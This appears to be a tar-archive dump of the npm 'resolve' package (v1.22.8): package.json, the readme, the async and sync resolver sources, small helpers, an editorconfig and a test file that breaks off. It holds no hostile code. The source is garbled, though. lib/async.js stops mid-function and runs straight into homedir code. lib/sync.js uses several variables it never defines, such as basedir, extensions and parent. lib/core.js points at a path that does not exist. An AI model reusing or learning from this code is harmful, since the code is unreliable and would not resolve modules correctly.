.-.-.-.-.-

package.json000064400000005766151676724420007066 0ustar00{
  "_from": "resolve@^1.19.0",
  "_id": "resolve@1.22.8",
  "_inBundle": false,
  "_integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==",
  "_location": "/resolve",
  "_phantomChildren": {},
  "_requested": {
    "type": "range",
    "registry": true,
    "raw": "resolve@^1.19.0",
    "name": "resolve",
    "escapedName": "resolve",
    "rawSpec": "^1.19.0",
    "saveSpec": null,
    "fetchSpec": "^1.19.0"
  },
  "_requiredBy": [
    "/liftup",
    "/rechoir"
  ],
  "_resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz",
  "_shasum": "b6c87a9f2aa06dfab52e3d70ac8cde321fa5a48d",
  "_spec": "resolve@^1.19.0",
  "_where": "C:\\xampp\\htdocs\\emeraltd\\node_modules\\liftup",
  "author": {
    "name": "James Halliday",
    "email": "mail@substack.net",
    "url": "http://substack.net"
  },
  "bin": {
    "resolve": "bin/resolve"
  },
  "bugs": {
    "url": "https://github.com/browserify/resolve/issues"
  },
  "bundleDependencies": false,
  "dependencies": {
    "is-core-module": "^2.13.0",
    "path-parse": "^1.0.7",
    "supports-preserve-symlinks-flag": "^1.0.0"
  },
  "deprecated": false,
  "description": "resolve like require.resolve() on behalf of files asynchronously and synchronously",
  "devDependencies": {
    "@ljharb/eslint-config": "^21.1.0",
    "array.prototype.map": "^1.0.6",
    "aud": "^2.0.3",
    "copy-dir": "^1.3.0",
    "eclint": "^2.8.1",
    "eslint": "=8.8.0",
    "in-publish": "^2.0.1",
    "mkdirp": "^0.5.5",
    "mv": "^2.1.1",
    "npmignore": "^0.3.0",
    "object-keys": "^1.1.1",
    "rimraf": "^2.7.1",
    "safe-publish-latest": "^2.0.0",
    "semver": "^6.3.1",
    "tap": "0.4.13",
    "tape": "^5.7.0",
    "tmp": "^0.0.31"
  },
  "funding": {
    "url": "https://github.com/sponsors/ljharb"
  },
  "homepage": "https://github.com/browserify/resolve#readme",
  "keywords": [
    "resolve",
    "require",
    "node",
    "module"
  ],
  "license": "MIT",
  "main": "index.js",
  "name": "resolve",
  "publishConfig": {
    "ignore": [
      ".github/workflows",
      "appveyor.yml",
      "test/resolver/malformed_package_json"
    ]
  },
  "repository": {
    "type": "git",
    "url": "git://github.com/browserify/resolve.git"
  },
  "scripts": {
    "lint": "eslint --ext=js,mjs --no-eslintrc -c .eslintrc . 'bin/**'",
    "posttest": "npm run test:multirepo && aud --production",
    "prelint": "eclint check $(git ls-files | xargs find 2> /dev/null | grep -vE 'node_modules|\\.git')",
    "prepack": "npmignore --auto --commentLines=autogenerated && cp node_modules/is-core-module/core.json ./lib/ ||:",
    "prepublish": "not-in-publish || npm run prepublishOnly",
    "prepublishOnly": "safe-publish-latest",
    "pretest": "npm run lint",
    "pretests-only": "cd ./test/resolver/nested_symlinks && node mylib/sync && node mylib/async",
    "test": "npm run --silent tests-only",
    "test:multirepo": "cd ./test/resolver/multirepo && npm install && npm test",
    "tests-only": "tape test/*.js"
  },
  "version": "1.22.8"
}
readme.markdown000064400000026360151676724420007572 0ustar00# resolve <sup>[![Version Badge][2]][1]</sup>

implements the [node `require.resolve()` algorithm](https://nodejs.org/api/modules.html#modules_all_together) such that you can `require.resolve()` on behalf of a file asynchronously and synchronously

[![github actions][actions-image]][actions-url]
[![coverage][codecov-image]][codecov-url]
[![dependency status][5]][6]
[![dev dependency status][7]][8]
[![License][license-image]][license-url]
[![Downloads][downloads-image]][downloads-url]

[![npm badge][11]][1]

# example

asynchronously resolve:

```js
var resolve = require('resolve/async'); // or, require('resolve')
resolve('tap', { basedir: __dirname }, function (err, res) {
    if (err) console.error(err);
    else console.log(res);
});
```

```
$ node example/async.js
/home/substack/projects/node-resolve/node_modules/tap/lib/main.js
```

synchronously resolve:

```js
var resolve = require('resolve/sync'); // or, `require('resolve').sync
var res = resolve('tap', { basedir: __dirname });
console.log(res);
```

```
$ node example/sync.js
/home/substack/projects/node-resolve/node_modules/tap/lib/main.js
```

# methods

```js
var resolve = require('resolve');
var async = require('resolve/async');
var sync = require('resolve/sync');
```

For both the synchronous and asynchronous methods, errors may have any of the following `err.code` values:

- `MODULE_NOT_FOUND`: the given path string (`id`) could not be resolved to a module
- `INVALID_BASEDIR`: the specified `opts.basedir` doesn't exist, or is not a directory
- `INVALID_PACKAGE_MAIN`: a `package.json` was encountered with an invalid `main` property (eg. not a string)

## resolve(id, opts={}, cb)

Asynchronously resolve the module path string `id` into `cb(err, res [, pkg])`, where `pkg` (if defined) is the data from `package.json`.

options are:

* opts.basedir - directory to begin resolving from

* opts.package - `package.json` data applicable to the module being loaded

* opts.extensions - array of file extensions to search in order

* opts.includeCoreModules - set to `false` to exclude node core modules (e.g. `fs`) from the search

* opts.readFile - how to read files asynchronously

* opts.isFile - function to asynchronously test whether a file exists

* opts.isDirectory - function to asynchronously test whether a file exists and is a directory

* opts.realpath - function to asynchronously resolve a potential symlink to its real path

* `opts.readPackage(readFile, pkgfile, cb)` - function to asynchronously read and parse a package.json file
  * readFile - the passed `opts.readFile` or `fs.readFile` if not specified
  * pkgfile - path to package.json
  * cb - callback

* `opts.packageFilter(pkg, pkgfile, dir)` - transform the parsed package.json contents before looking at the "main" field
  * pkg - package data
  * pkgfile - path to package.json
  * dir - directory that contains package.json

* `opts.pathFilter(pkg, path, relativePath)` - transform a path within a package
  * pkg - package data
  * path - the path being resolved
  * relativePath - the path relative from the package.json location
  * returns - a relative path that will be joined from the package.json location

* opts.paths - require.paths array to use if nothing is found on the normal `node_modules` recursive walk (probably don't use this)

For advanced users, `paths` can also be a `opts.paths(request, start, opts)` function
    * request - the import specifier being resolved
    * start - lookup path
    * getNodeModulesDirs - a thunk (no-argument function) that returns the paths using standard `node_modules` resolution
    * opts - the resolution options

* `opts.packageIterator(request, start, opts)` - return the list of candidate paths where the packages sources may be found (probably don't use this)
    * request - the import specifier being resolved
    * start - lookup path
    * getPackageCandidates - a thunk (no-argument function) that returns the paths using standard `node_modules` resolution
    * opts - the resolution options

* opts.moduleDirectory - directory (or directories) in which to recursively look for modules. default: `"node_modules"`

* opts.preserveSymlinks - if true, doesn't resolve `basedir` to real path before resolving.
This is the way Node resolves dependencies when executed with the [--preserve-symlinks](https://nodejs.org/api/all.html#cli_preserve_symlinks) flag.
**Note:** this property is currently `true` by default but it will be changed to
`false` in the next major version because *Node's resolution algorithm does not preserve symlinks by default*.

default `opts` values:

```js
{
    paths: [],
    basedir: __dirname,
    extensions: ['.js'],
    includeCoreModules: true,
    readFile: fs.readFile,
    isFile: function isFile(file, cb) {
        fs.stat(file, function (err, stat) {
            if (!err) {
                return cb(null, stat.isFile() || stat.isFIFO());
            }
            if (err.code === 'ENOENT' || err.code === 'ENOTDIR') return cb(null, false);
            return cb(err);
        });
    },
    isDirectory: function isDirectory(dir, cb) {
        fs.stat(dir, function (err, stat) {
            if (!err) {
                return cb(null, stat.isDirectory());
            }
            if (err.code === 'ENOENT' || err.code === 'ENOTDIR') return cb(null, false);
            return cb(err);
        });
    },
    realpath: function realpath(file, cb) {
        var realpath = typeof fs.realpath.native === 'function' ? fs.realpath.native : fs.realpath;
        realpath(file, function (realPathErr, realPath) {
            if (realPathErr && realPathErr.code !== 'ENOENT') cb(realPathErr);
            else cb(null, realPathErr ? file : realPath);
        });
    },
    readPackage: function defaultReadPackage(readFile, pkgfile, cb) {
        readFile(pkgfile, function (readFileErr, body) {
            if (readFileErr) cb(readFileErr);
            else {
                try {
                    var pkg = JSON.parse(body);
                    cb(null, pkg);
                } catch (jsonErr) {
                    cb(null);
                }
            }
        });
    },
    moduleDirectory: 'node_modules',
    preserveSymlinks: true
}
```

## resolve.sync(id, opts)

Synchronously resolve the module path string `id`, returning the result and
throwing an error when `id` can't be resolved.

options are:

* opts.basedir - directory to begin resolving from

* opts.extensions - array of file extensions to search in order

* opts.includeCoreModules - set to `false` to exclude node core modules (e.g. `fs`) from the search

* opts.readFileSync - how to read files synchronously

* opts.isFile - function to synchronously test whether a file exists

* opts.isDirectory - function to synchronously test whether a file exists and is a directory

* opts.realpathSync - function to synchronously resolve a potential symlink to its real path

* `opts.readPackageSync(readFileSync, pkgfile)` - function to synchronously read and parse a package.json file
  * readFileSync - the passed `opts.readFileSync` or `fs.readFileSync` if not specified
  * pkgfile - path to package.json

* `opts.packageFilter(pkg, dir)` - transform the parsed package.json contents before looking at the "main" field
  * pkg - package data
  * dir - directory that contains package.json (Note: the second argument will change to "pkgfile" in v2)

* opts.paths - require.paths array to use if nothing is found on the normal `node_modules` recursive walk (probably don't use this)

* opts.moduleDirectory - directory (or directories) in which to recursively look for modules. default: `"node_modules"`

default `opts` values:

```js
{
    paths: [],
    basedir: __dirname,
    extensions: ['.js'],
    includeCoreModules: true,
    readFileSync: fs.readFileSync,
    isFile: function isFile(file) {
        try {
            var stat = fs.statSync(file);
        } catch (e) {
            if (e && (e.code === 'ENOENT' || e.code === 'ENOTDIR')) return false;
            throw e;
        }
        return stat.isFile() || stat.isFIFO();
    },
    isDirectory: function isDirectory(dir) {
        try {
            var stat = fs.statSync(dir);
        } catch (e) {
            if (e && (e.code === 'ENOENT' || e.code === 'ENOTDIR')) return false;
            throw e;
        }
        return stat.isDirectory();
    },
    realpathSync: function realpathSync(file) {
        try {
            var realpath = typeof fs.realpathSync.native === 'function' ? fs.realpathSync.native : fs.realpathSync;
            return realpath(file);
        } catch (realPathErr) {
            if (realPathErr.code !== 'ENOENT') {
                throw realPathErr;
            }
        }
        return file;
    },
    readPackageSync: function defaultReadPackageSync(readFileSync, pkgfile) {
        var body = readFileSync(pkgfile);
        try {
            var pkg = JSON.parse(body);
            return pkg;
        } catch (jsonErr) {}
    },
    moduleDirectory: 'node_modules',
    preserveSymlinks: true
}
```

# install

With [npm](https://npmjs.org) do:

```sh
npm install resolve
```

# license

MIT

[1]: https://npmjs.org/package/resolve
[2]: https://versionbadg.es/browserify/resolve.svg
[5]: https://david-dm.org/browserify/resolve.svg
[6]: https://david-dm.org/browserify/resolve
[7]: https://david-dm.org/browserify/resolve/dev-status.svg
[8]: https://david-dm.org/browserify/resolve#info=devDependencies
[11]: https://nodei.co/npm/resolve.png?downloads=true&stars=true
[license-image]: https://img.shields.io/npm/l/resolve.svg
[license-url]: LICENSE
[downloads-image]: https://img.shields.io/npm/dm/resolve.svg
[downloads-url]: https://npm-stat.com/charts.html?package=resolve
[codecov-image]: https://codecov.io/gh/browserify/resolve/branch/main/graphs/badge.svg
[codecov-url]: https://app.codecov.io/gh/browserify/resolve/
[actions-image]: https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/browserify/resolve
[actions-url]: https://github.com/browserify/resolve/actions
lib/async.js000064400000026177151676724420007020 0ustar00var fs = require('fs');
var getHomedir = require('./homedir');
var path = require('path');
var caller = require('./caller');
var nodeModulesPaths = require('./node-modules-paths');
var normalizeOptions = require('./normalize-options');
var isCore = require('is-core-module');

var realpathFS = process.platform !== 'win32' && fs.realpath && typeof fs.realpath.native === 'function' ? fs.realpath.native : fs.realpath;

var homedir = getHomedir();
var defaultPaths = function () {
    return [
        path.join(homedir, '.node_modules'),
        path.join(homedir, '.node_libraries')
    ];
};

var defaultRealpath = function realpath(x, cb) {
    realpathFS(x, function (realpathErr, realPath) {
        if (realpathErr && realpathErr.code !== 'ENOENT') cb(realpathErr);
        else cb(null, realpathErr ? x : realPath);
    });
};

var maybeRealpath = function maybeRealpath(realpath, x, opts, cb) {
    if (opts && opts.preserveSymlinks === false) {
        realpath(x, cb);
    } else {
        cb(null, x);
    }
};

var getPackageCandidates = function getPackageCandidates(x, start, opts) {
    var dirs = nodeModulesPaths(start, opts, x);
    for (var i = 0; i < dirs.length; i++) {
        dirs[i] = path.join(dirs[i], x);
    }
    return dirs;
};

module.exports = function resolve(x, options, callback) {
    var cb = callback;
    var opts = options;
    if (typeof options === 'function') {
        cb = opts;
        opts = {};
    }
    if (typeof x !== 'string') {
        var err = new TypeError('Path must be a string.');
        return process.nextTick(function () {
            cb(err);
        });
    }

opts = normalizeOptions(x, opts);

var isFile = opts.isFile || defaultIsFile;
    var isDirectory = opts.isDirectory || defaultIsDir;
    var readFile = opts.readFile || fs.readFile;
    var realpath = opts.realpath || defaultRealpath;
    var readPackage = opts.readPackage || defaultReadPackage;
    if (opts.readFile && opts.readPackage) {
        var conflictErr = new TypeError('`readFile` and `readPackage` are mutually exclusive.');
        return process.nextTick(function () {
            cb(conflictErr);
        });
    }
    var packageIterator = opts.packageIterator;

var extensions = opts.extensions || ['.js'];
    var includeCoreModules = opts.includeCoreModules !== false;
    var basedir = opts.basedir || path.dirname(caller());
    var parent = opts.filename || basedir;

opts.paths = opts.paths || defaultPaths();

// ensure that `basedir` is an absolute path at this point, resolving against the process' current working directory
    var absoluteStart = path.resolve(basedir);

maybeRealpath(
        realpath,
        absoluteStart,
        opts,
        function (err, realStart) {
            if (err) cb(err);
            else init(realStart);
        }
    );

var res;
    function init(basedir) {
        if ((/^(?:\.\.?(?:\/|$)|\/|([A-Za-z]:)?[/\\])/).test(x)) {
            res = path.resolve(basedir, x);
            if (x === '.' || x === '..' || x.slice(-1) === '/') res += '/';
            if ((/\/$/).test(x) && res === basedir) {
                loadAsDirectory(res, opts.package, onfile);
            } else loadAsFile(res, opts.package, onfile);
        } else if (includeCoreModules && isCore(x)) {
            return cb(null, x);
        } else loadNodeModules(x, basedir, function (err, n, pkg) {
            if (err) cb(err);
            else if (n) {
                return maybeRealpath(realpath, n, opts, function (err, realN) {
                    if (err) {
                        cb(err);
                    } else {
                        cb(null, realN, pkg);
                    }
                });
            } else {
                var moduleError = new Error("Cannot find module '" + x + "' from '" + parent + "'");
                moduleError.code = 'MODULE_NOT_FOUND';
                cb(moduleError);
            }
        });
    }

function loadAsFile(x, thePackage, callback) {
        var loadAsFilePackage = thePackage;
        var cb = callback;
        if (typeof loadAsFilePackage === 'function') {
            cb = loadAsFilePackage;
            loadAsFilePackage = undefined;
        }

var exts = [''].concat(extensions);
        load(exts, x, loadAsFilePackage);

function load(exts, x, loadPackage) {
            if (exts.length === 0) return cb(null, undefined, loadPackage);
            var file = x + exts[0];

var pkg = loadPackage;
            if (pkg) onpkg(null, pkg);
            else loadpkg(path.dirname(file), onpkg);

function loadpkg(dir, cb) {
        if (dir === '' || dir === '/') return cb(null);
        if (process.platform === 'win32' && (/^\w:[/\\]*$/).test(dir)) {
            return cb(null);
        }
        if ((/[/\\]node_modules[/\\]*$/).test(dir)) return cb(null);

maybeRealpath(realpath, dir, opts, function (unwrapErr, pkgdir) {
            if (unwrapErr) return loadpkg(path.dirname(dir), cb);
            var pkgfile = path.join(pkgdir, 'package.json');
            isFile(pkgfile, function (err, ex) {
                // on err, ex is false
                if (!ex) return loadpkg(path.dirname(dir), cb);

readPackage(readFile, pkgfile, function (err, pkgParam) {
                    if (err) cb(err);

var pkg = pkgParam;

if (pkg && opts.packageFilter) {
                        pkg = opts.packageFilter(pkg, pkgfile);
                    }
                    cb(null, pkg, dir);
                });
            });
        });
    }

function loadAsDirectory(x, loadAsDirectoryPackage, callback) {
        var cb = callback;
        var fpkg = loadAsDirectoryPackage;
        if (typeof fpkg === 'function') {
            cb = fpkg;
            fpkg = opts.package;
        }

maybeRealpath(realpath, x, opts, function (unwrapErr, pkgdir) {
            if (unwrapErr) return cb(unwrapErr);
            var pkgfile = path.join(pkgdir, 'package.json');
            isFile(pkgfile, function (err, ex) {
                if (err) return cb(err);
                if (!ex) return loadAsFile(path.join(x, 'index'), fpkg, cb);

readPackage(readFile, pkgfile, function (err, pkgParam) {
                    if (err) return cb(err);

var pkg = pkgParam;

if (pkg && opts.packageFilter) {
                        pkg = opts.packageFilter(pkg, pkgfile);
                    }

if (pkg && pkg.main) {
                        if (typeof pkg.main !== 'string') {
                            var mainError = new TypeError('package “' + pkg.name + '” `main` must be a string');
                            mainError.code = 'INVALID_PACKAGE_MAIN';
                            return cb(mainError);
                        }
                        if (pkg.main === '.' || pkg.main === './') {
                            pkg.main = 'index';
                        }
                        loadAsFile(path.resolve(x, pkg.main), pkg, function (err, m, pkg) {
                            if (err) return cb(err);
                            if (m) return cb(null, m, pkg);
                            if (!pkg) return loadAsFile(path.join(x, 'index'), pkg, cb);

var dir = path.resolve(x, pkg.main);
                            loadAsDirectory(dir, pkg, function (err, n, pkg) {
                                if (err) return cb(err);
                                if (n) return cb(null, n, pkg);
                                loadAsFile(path.join(x, 'index'), pkg, cb);
                            });
                        });
                        return;
                    }

loadAsFile(path.join(x, '/index'), pkg, cb);
                });
            });
        });
    }

function processDirs(cb, dirs) {
        if (dirs.length === 0) return cb(null, undefined);
        var dir = dirs[0];

isDirectory(path.dirname(dir), isdir);

function isdir(err, isdir) {
            if (err) return cb(err);
            if (!isdir) return processDirs(cb, dirs.slice(1));
            loadAsFile(dir, opts.package, onfile);
        }

function onfile(err, m, pkg) {
            if (err) return cb(err);
            if (m) return cb(null, m, pkg);
            loadAsDirectory(dir, opts.package, ondir);
        }

var os = require('os');

// adapted from https://github.com/sindresorhus/os-homedir/blob/11e089f4754db38bb535e5a8416320c4446e8cfd/index.js

module.exports = os.homedir || function homedir() {
    var home = process.env.HOME;
    var user = process.env.LOGNAME || process.env.USER || process.env.LNAME || process.env.USERNAME;

if (process.platform === 'win32') {
        return process.env.USERPROFILE || process.env.HOMEDRIVE + process.env.HOMEPATH || home || null;
    }

if (process.platform === 'darwin') {
        return home || (user ? '/Users/' + user : null);
    }

if (process.platform === 'linux') {
        return home || (process.getuid() === 0 ? '/root' : (user ? '/home/' + user : null)); // eslint-disable-line no-extra-parens
    }

return home || null;
};
lib/is-core.js000064400000000164151676724420007230 0ustar00var isCoreModule = require('is-core-module');

module.exports = function isCore(x) {
    return isCoreModule(x);
};
lib/node-modules-paths.js000064400000002416151676724420011401 0ustar00var path = require('path');
var parse = path.parse || require('path-parse'); // eslint-disable-line global-require

var getNodeModulesDirs = function getNodeModulesDirs(absoluteStart, modules) {
    var prefix = '/';
    if ((/^([A-Za-z]:)/).test(absoluteStart)) {
        prefix = '';
    } else if ((/^\\\\/).test(absoluteStart)) {
        prefix = '\\\\';
    }

var paths = [absoluteStart];
    var parsed = parse(absoluteStart);
    while (parsed.dir !== paths[paths.length - 1]) {
        paths.push(parsed.dir);
        parsed = parse(parsed.dir);
    }

return paths.reduce(function (dirs, aPath) {
        return dirs.concat(modules.map(function (moduleDir) {
            return path.resolve(prefix, aPath, moduleDir);
        }));
    }, []);
};

module.exports = function nodeModulesPaths(start, opts, request) {
    var modules = opts && opts.moduleDirectory
        ? [].concat(opts.moduleDirectory)
        : ['node_modules'];

if (opts && typeof opts.paths === 'function') {
        return opts.paths(
            request,
            start,
            function () { return getNodeModulesDirs(start, modules); },
            opts
        );
    }

var dirs = getNodeModulesDirs(start, modules);
    return opts && opts.paths ? dirs.concat(opts.paths) : dirs;
};
lib/normalize-options.js000064400000000534151676724420011361 0ustar00module.exports = function (x, opts) {
    /**
     * This file is purposefully a passthrough. It's expected that third-party
     * environments will override it at runtime in order to inject special logic
     * into `resolve` (by manipulating the options). One such example is the PnP
     * code path in Yarn.
     */

return opts || {};
};
lib/sync.js000064400000015561151676724420006652 0ustar00var isCore = require('is-core-module');
var fs = require('fs');
var path = require('path');
var getHomedir = require('./homedir');
var caller = require('./caller');
var nodeModulesPaths = require('./node-modules-paths');
var normalizeOptions = require('./normalize-options');

var realpathFS = process.platform !== 'win32' && fs.realpathSync && typeof fs.realpathSync.native === 'function' ? fs.realpathSync.native : fs.realpathSync;

var homedir = getHomedir();
var defaultPaths = function () {
    return [
        path.join(homedir, '.node_modules'),
        path.join(homedir, '.node_libraries')
    ];
};

var maybeRealpathSync = function maybeRealpathSync(realpathSync, x, opts) {
    if (opts && opts.preserveSymlinks === false) {
        return realpathSync(x);
    }
    return x;
};

module.exports = function resolveSync(x, options) {
    if (typeof x !== 'string') {
        throw new TypeError('Path must be a string.');
    }
    var opts = normalizeOptions(x, options);

var isFile = opts.isFile || defaultIsFile;
    var readFileSync = opts.readFileSync || fs.readFileSync;
    var isDirectory = opts.isDirectory || defaultIsDir;
    var realpathSync = opts.realpathSync || defaultRealpathSync;
    var readPackageSync = opts.readPackageSync || defaultReadPackageSync;
    if (opts.readFileSync && opts.readPackageSync) {
        throw new TypeError('`readFileSync` and `readPackageSync` are mutually exclusive.');
    }
    var packageIterator = opts.packageIterator;

opts.paths = opts.paths || defaultPaths();

// ensure that `basedir` is an absolute path at this point, resolving against the process' current working directory
    var absoluteStart = maybeRealpathSync(realpathSync, path.resolve(basedir), opts);

if ((/^(?:\.\.?(?:\/|$)|\/|([A-Za-z]:)?[/\\])/).test(x)) {
        var res = path.resolve(absoluteStart, x);
        if (x === '.' || x === '..' || x.slice(-1) === '/') res += '/';
        var m = loadAsFileSync(res) || loadAsDirectorySync(res);
        if (m) return maybeRealpathSync(realpathSync, m, opts);
    } else if (includeCoreModules && isCore(x)) {
        return x;
    } else {
        var n = loadNodeModulesSync(x, absoluteStart);
        if (n) return maybeRealpathSync(realpathSync, n, opts);
    }

var err = new Error("Cannot find module '" + x + "' from '" + parent + "'");
    err.code = 'MODULE_NOT_FOUND';
    throw err;

function loadAsFileSync(x) {
        var pkg = loadpkg(path.dirname(x));

if (pkg && pkg.dir && pkg.pkg && opts.pathFilter) {
            var rfile = path.relative(pkg.dir, x);
            var r = opts.pathFilter(pkg.pkg, x, rfile);
            if (r) {
                x = path.resolve(pkg.dir, r); // eslint-disable-line no-param-reassign
            }
        }

if (isFile(x)) {
            return x;
        }

for (var i = 0; i < extensions.length; i++) {
            var file = x + extensions[i];
            if (isFile(file)) {
                return file;
            }
        }
    }

function loadpkg(dir) {
        if (dir === '' || dir === '/') return;
        if (process.platform === 'win32' && (/^\w:[/\\]*$/).test(dir)) {
            return;
        }
        if ((/[/\\]node_modules[/\\]*$/).test(dir)) return;

var pkgfile = path.join(maybeRealpathSync(realpathSync, dir, opts), 'package.json');

if (!isFile(pkgfile)) {
            return loadpkg(path.dirname(dir));
        }

var pkg = readPackageSync(readFileSync, pkgfile);

if (pkg && opts.packageFilter) {
            // v2 will pass pkgfile
            pkg = opts.packageFilter(pkg, /*pkgfile,*/ dir); // eslint-disable-line spaced-comment
        }

return { pkg: pkg, dir: dir };
    }

function loadAsDirectorySync(x) {
        var pkgfile = path.join(maybeRealpathSync(realpathSync, x, opts), '/package.json');
        if (isFile(pkgfile)) {
            try {
                var pkg = readPackageSync(readFileSync, pkgfile);
            } catch (e) {}

if (pkg && opts.packageFilter) {
                // v2 will pass pkgfile
                pkg = opts.packageFilter(pkg, /*pkgfile,*/ x); // eslint-disable-line spaced-comment
            }

if (pkg && pkg.main) {
                if (typeof pkg.main !== 'string') {
                    var mainError = new TypeError('package “' + pkg.name + '” `main` must be a string');
                    mainError.code = 'INVALID_PACKAGE_MAIN';
                    throw mainError;
                }
                if (pkg.main === '.' || pkg.main === './') {
                    pkg.main = 'index';
                }
                try {
                    var m = loadAsFileSync(path.resolve(x, pkg.main));
                    if (m) return m;
                    var n = loadAsDirectorySync(path.resolve(x, pkg.main));
                    if (n) return n;
                } catch (e) {}
            }
        }

return loadAsFileSync(path.join(x, '/index'));
    }

function loadNodeModulesSync(x, start) {
        var thunk = function () { return getPackageCandidates(x, start, opts); };
        var dirs = packageIterator ? packageIterator(x, start, thunk, opts) : thunk();

for (var i = 0; i < dirs.length; i++) {
            var dir = dirs[i];
            if (isDirectory(path.dirname(dir))) {
                var m = loadAsFileSync(dir);
                if (m) return m;
                var n = loadAsDirectorySync(dir);
                if (n) return n;
            }
        }
    }
};
lib/core.js000064400000000465151676724420006623 0ustar00'use strict';

var isCoreModule = require('is-core-module');
var data = require('./core.json');

module.exports = require('./lib/async');
.editorconfig000064400000001135151676724420007237 0ustar00root = true

[*]
indent_style = space
indent_size = 2
end_of_line = lf
charset = utf-8
trim_trailing_whitespace = true
insert_final_newline = true
max_line_length = 200

[*.js]
block_comment_start = /*
block_comment = *
block_comment_end = */

[*.yml]
indent_size = 1

[package.json]
indent_style = tab

[lib/core.json]
indent_style = tab

[CHANGELOG.md]
indent_style = space
indent_size = 2

[{*.json,Makefile}]
max_line_length = off

[test/{dotdot,resolver,module_dir,multirepo,node_path,pathfilter,precedence}/**/*]
indent_style = off
indent_size = off
max_line_length = off
insert_final_newline = off
test/resolver_sync.js000064400000050725151676724420011005 0ustar00var path = require('path');
var fs = require('fs');
var test = require('tape');

var resolve = require('../');
var sync = require('../sync');

var requireResolveSupportsPaths = require.resolve.length > 1
    && !(/^v12\.[012]\./).test(process.version); // broken in v12.0-12.2, see https://github.com/nodejs/node/issues/27794

var requireResolveDefaultPathsBroken = (/^v8\.9\.|^v9\.[01]\.0|^v9\.2\./).test(process.version);
// broken in node v8.9.x, v9.0, v9.1, v9.2.x. see https://github.com/nodejs/node/pull/17113

test('`./sync` entry point', function (t) {
    t.equal(resolve.sync, sync, '`./sync` entry point is the same as `.sync` on `main`');
    t.end();
});

test('foo', function (t) {
    var dir = path.join(__dirname, 'resolver');

t.equal(
        resolve.sync('./foo', { basedir: dir }),
        path.join(dir, 'foo.js'),
        './foo'
    );
    if (requireResolveSupportsPaths) {
        t.equal(
            resolve.sync('./foo', { basedir: dir }),
            require.resolve('./foo', { paths: [dir] }),
            './foo: resolve.sync === require.resolve'
        );
    }

t.equal(
        resolve.sync('./foo.js', { basedir: dir }),
        path.join(dir, 'foo.js'),
        './foo.js'
    );
    if (requireResolveSupportsPaths) {
        t.equal(
            resolve.sync('./foo.js', { basedir: dir }),
            require.resolve('./foo.js', { paths: [dir] }),
            './foo.js: resolve.sync === require.resolve'
        );
    }

t.equal(
        resolve.sync('./foo.js', { basedir: dir, filename: path.join(dir, 'bar.js') }),
        path.join(dir, 'foo.js')
    );

t.throws(function () {
        resolve.sync('foo', { basedir: dir });
    });

// Test that filename is reported as the "from" value when passed.
    t.throws(
        function () {
            resolve.sync('foo', { basedir: dir, filename: path.join(dir, 'bar.js') });
        },
        {
            name: 'Error',
            message: "Cannot find module 'foo' from '" + path.join(dir, 'bar.js') + "'"
        }
    );

t.end();
});

test('bar', function (t) {
    var dir = path.join(__dirname, 'resolver');

var basedir = path.join(dir, 'bar');

t.equal(
        resolve.sync('foo', { basedir: basedir }),
        path.join(dir, 'bar/node_modules/foo/index.js'),
        'foo in bar'
    );
    if (!requireResolveDefaultPathsBroken && requireResolveSupportsPaths) {
        t.equal(
            resolve.sync('foo', { basedir: basedir }),
            require.resolve('foo', { paths: [basedir] }),
            'foo in bar: resolve.sync === require.resolve'
        );
    }

t.end();
});

test('baz', function (t) {
    var dir = path.join(__dirname, 'resolver');

t.equal(
        resolve.sync('./baz', { basedir: dir }),
        path.join(dir, 'baz/quux.js'),
        './baz'
    );
    if (requireResolveSupportsPaths) {
        t.equal(
            resolve.sync('./baz', { basedir: dir }),
            require.resolve('./baz', { paths: [dir] }),
            './baz: resolve.sync === require.resolve'
        );
    }

t.end();
});

test('biz', function (t) {
    var dir = path.join(__dirname, 'resolver/biz/node_modules');

t.equal(
        resolve.sync('./grux', { basedir: dir }),
        path.join(dir, 'grux/index.js')
    );
    if (requireResolveSupportsPaths) {
        t.equal(
            resolve.sync('./grux', { basedir: dir }),
            require.resolve('./grux', { paths: [dir] }),
            './grux: resolve.sync === require.resolve'
        );
    }

t.end();
});

test('normalize', function (t) {
    var dir = path.join(__dirname, 'resolver/biz/node_modules/grux');

t.equal(
        resolve.sync('../grux', { basedir: dir }),
        path.join(dir, 'index.js')
    );
    if (requireResolveSupportsPaths) {
        t.equal(
            resolve.sync('../grux', { basedir: dir }),
            require.resolve('../grux', { paths: [dir] }),
            '../grux: resolve.sync === require.resolve'
        );
    }

t.end();
});

test('cup', function (t) {
    var dir = path.join(__dirname, 'resolver');

t.equal(
        resolve.sync('./cup', {
            basedir: dir,
            extensions: ['.js', '.coffee']
        }),
        path.join(dir, 'cup.coffee'),
        './cup -> ./cup.coffee'
    );

t.equal(
        resolve.sync('./cup.coffee', { basedir: dir }),
        path.join(dir, 'cup.coffee'),
        './cup.coffee'
    );

t.throws(function () {
        resolve.sync('./cup', {
            basedir: dir,
            extensions: ['.js']
        });
    });

if (requireResolveSupportsPaths) {
        t.equal(
            resolve.sync('./cup.coffee', { basedir: dir, extensions: ['.js', '.coffee'] }),
            require.resolve('./cup.coffee', { paths: [dir] }),
            './cup.coffee: resolve.sync === require.resolve'
        );
    }

t.end();
});

test('mug', function (t) {
    var dir = path.join(__dirname, 'resolver');

t.equal(
        resolve.sync('./mug', { basedir: dir }),
        path.join(dir, 'mug.js'),
        './mug -> ./mug.js'
    );
    if (requireResolveSupportsPaths) {
        t.equal(
            resolve.sync('./mug', { basedir: dir }),
            require.resolve('./mug', { paths: [dir] }),
            './mug: resolve.sync === require.resolve'
        );
    }

t.equal(
        resolve.sync('./mug', {
            basedir: dir,
            extensions: ['.coffee', '.js']
        }),
        path.join(dir, 'mug.coffee'),
        './mug -> ./mug.coffee'
    );

t.equal(
        resolve.sync('./mug', {
            basedir: dir,
            extensions: ['.js', '.coffee']
        }),
        path.join(dir, 'mug.js'),
        './mug -> ./mug.js'
    );

t.end();
});

test('other path', function (t) {
    var resolverDir = path.join(__dirname, 'resolver');
    var dir = path.join(resolverDir, 'bar');
    var otherDir = path.join(resolverDir, 'other_path');

t.equal(
        resolve.sync('root', {
            basedir: dir,
            paths: [otherDir]
        }),
        path.join(resolverDir, 'other_path/root.js')
    );

t.equal(
        resolve.sync('lib/other-lib', {
            basedir: dir,
            paths: [otherDir]
        }),
